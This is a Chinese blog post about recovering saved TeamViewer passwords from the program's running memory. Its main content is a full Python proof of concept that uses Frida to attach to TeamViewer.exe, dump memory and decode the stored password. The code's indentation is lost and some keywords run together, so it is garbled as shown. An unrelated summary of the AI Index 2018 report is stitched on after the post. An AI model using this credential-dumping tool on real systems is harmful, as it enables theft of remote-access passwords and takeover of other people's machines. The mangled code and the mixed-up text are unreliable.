从TeamViewer的运行内存中提取密码

http://www.toutiao.com/a6450771078498763021/?tt_from=mobile_qq&utm_campaig

n=client_share&app=news_article&utm_source=mobile_qq&iid=13287414181&utm_medium=toutiao_android


从TeamViewer的运行内存中提取密码

hanz的碎碎念  2017-08-05 21:00

TeamViewer是一款远程连接神器,相信众多的IT运营者对他不陌生。只要知道目标电脑的TeamViewer ID和密码,就可以远程连接到该台电脑。该软件的功能有点像Windows自带的远程桌面,但是远比远程桌面来的强大,特别是你的目标连接设备处于内网的情况下,TeamViewer也能轻而易举地连接上。

最近,有人写了两段小程序,顺利地从TeamViewer运行的内存中获取到了TeamViewer的密码。事情的起因是这样的:他在自己的windows上操作远程VPS主机的时候发现,只要第一次输入了远程电脑的TeamViewer密码之后。下次打开TeamViewer再次连接该主机时,密码会自动填充。好奇心来的太快就像龙卷风,他想:那这密码肯定存储在了电脑中了,可以通过某种手段将它取出来。:

从TeamViewer的运行内存中提取密码

于是折腾开始了,扫描TeamViewer的运行运存发现如下:

从TeamViewer的运行内存中提取密码

通过比对自己的TeamViewer密码,发现该密码是以Unicode的形式存储在内存中。如上图,天蓝色区域的字节为密码部分,第一个红色为起始标记数据,第二个红色为结束的标记数据,有些时候结束的标记数据可能是( 00 00 00 20 00 00)。

为了使用代码提取出密码,这位大牛写了两个程序:Python版本和C++版本。

首先通过使用Frida库,将python脚本附加到TeamViewer.exe进程,获取该进程下每个库的地址和内存大小,然后开始搜索开始为[00 88]字节到结束为[00 00 00]字节这一段中间的内容,然后再将他们根据密码规则和要求解码出来。

从TeamViewer的运行内存中提取密码

C++版本运行后,你可以得到密码"asdQWE123"。

从TeamViewer的运行内存中提取密码

其中python文件TV_POC.py代码如下

import frida

import re

PERMS='rw-'

process ="TeamViewer.exe"

session = frida.attach(process)

print"Attached to process."

mems=session.enumerate_ranges(PERMS)

data_dump=[]

print"Check %s libs."%(len(mems))

for mem in mems:

dump =session.read_bytes(mem.base_address, mem.size)

beg=chr(int('00',16))+chr(int('88',16))

end=chr(int('00',16))+chr(int('00',16))+chr(int('00',16))

for i in dump.split(beg):

if i.find(end)>0and i.index(end)<=33:

data = i[:(i.index(end)+6)]

data_dump.append(data)

session.detach()

print"Cleaning..."

mag_dump_mask_1=[]

mag_dump_mask_2=[]

for i in data_dump:

try:

if i.endswith(chr(int('20',16))+chr(int('00',16))+chr(int('00',16))):

i=i[:len(i)-5]

fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))

if fnd:

iflen(fnd)==len(i)/2:

mag_data=unicode(i.replace(chr(int('00',16)),""))

regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'

if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):

mag_dump_mask_1.append(mag_data)

else:

i=i[:len(i)-5]

fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))

if fnd:

iflen(fnd)==len(i)/2:

mag_data=unicode(i.replace(chr(int('00',16)),""))

regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]*$'

if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):

mag_dump_mask_2.append(mag_data)

except:

pass

iflen(mag_dump_mask_1)>0:

print"Potential values:"

for i in mag_dump_mask_1:

print i

else:

ind =len(mag_dump_mask_2)

for i in mag_dump_mask_2:

if re.match("^[0-9]*$",i) and mag_dump_mask_2.count(i)>=2:

if mag_dump_mask_2.index(i)<ind:

ind = mag_dump_mask_2.index(i)

print"Possible values: "

for i in mag_dump_mask_2[ind:]:

if mag_dump_mask_2[ind:].count(i) ==1:

print i

C++文件main.cpp代码如下:

从TeamViewer的运行内存中提取密码


斯坦福大学发起的人工智能指数(AI Index)是一个追踪 AI 动态和进展的非营利性项目,旨在全面研究 AI 行业状况,目标是促进基于数据的 AI 的广泛交流和有效对话。昨天,AI Index 发出了 2018 报告。本文仅对其进行概要介绍。 这份报告试图从学术、工业、政策等角度全面介绍全球人工智能的发展现状,今报告更加注重全球数据。报告指出,美国的 AI 研究力量仍是全球最强,但中国的追赶速度很快。报告特别介绍了清华大学学习 AI 课程的学生数量:2017 人工智能+机器学习课程的入学人数比 2010 时多 16 倍。 我们很高兴推出 AI Index 2018 报告。本度的报告要实现两个目标:更新上一的指标以及尽可能地提供全球性的背景。前一个目标是 AI Index 至关重要的使命——为探讨人工智能设定基础,即意味着要持续不断地跟踪规模和技术的进展。但后一个目标也很重要。没有全球化的视野,不可能讲好 AI 故事。2017 报告严重偏向了北美地区的活动。这只是因为我们的全球合作关系还有限,并不是因为我们有内在的偏见。今,我们开始填补这一全球性漏洞。我们认识到,要使本报告真正完备全面,前方还有很长的路要走——会涉及到更多合作和外部参与。 尽管如此,我们仍可以断言 AI 是全球性的。2017 ,Scopus 上 83% 的 AI 论文都来自美国之外。其中来自欧洲的占到了最大的比例(28%)。在全世界范围内,AI 和机器学习(ML)大学课程的入学人数都在增多,尤其值得一提的是中国的清华大学,该校 2017 人工智能+机器学习组合课程的入学人数比 2010 时多 16 倍。2017 ,中国生产的工业机器人的数量也占到了世界的最大比重——占全球机器人总出货量的 30%。而且不只是美国、中国和欧洲,其它地方也在推进 AI 的发展。根据我们的统计 AI 专利的方法,韩国和日本在 2014 产出的 AI 专利分列全球第二和第三,仅次于美国。另外,南非成功举办了第二届 Deep Learning Indaba 大会,这是世界最大型的机器学习教学活动之一,吸引了来自 20 多个非洲国家的超过 500 名参会者。 AI 的多样性不仅体现在地理上。如今,Partnership on AI 已有大约 50% 的成员组织是非营利性的,包括美国公民自由联盟、国际特赦组织、牛津大学人类未来研究所和联合国开发计划署。而且人们也对 AI 领域中的性别和少数族裔多样性的重要性有了更高的认识。AI4ALL 和 Women in Machine Learning(WiML)等组织正在加大力度鼓励和支持代表性不足的群体参与进来。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值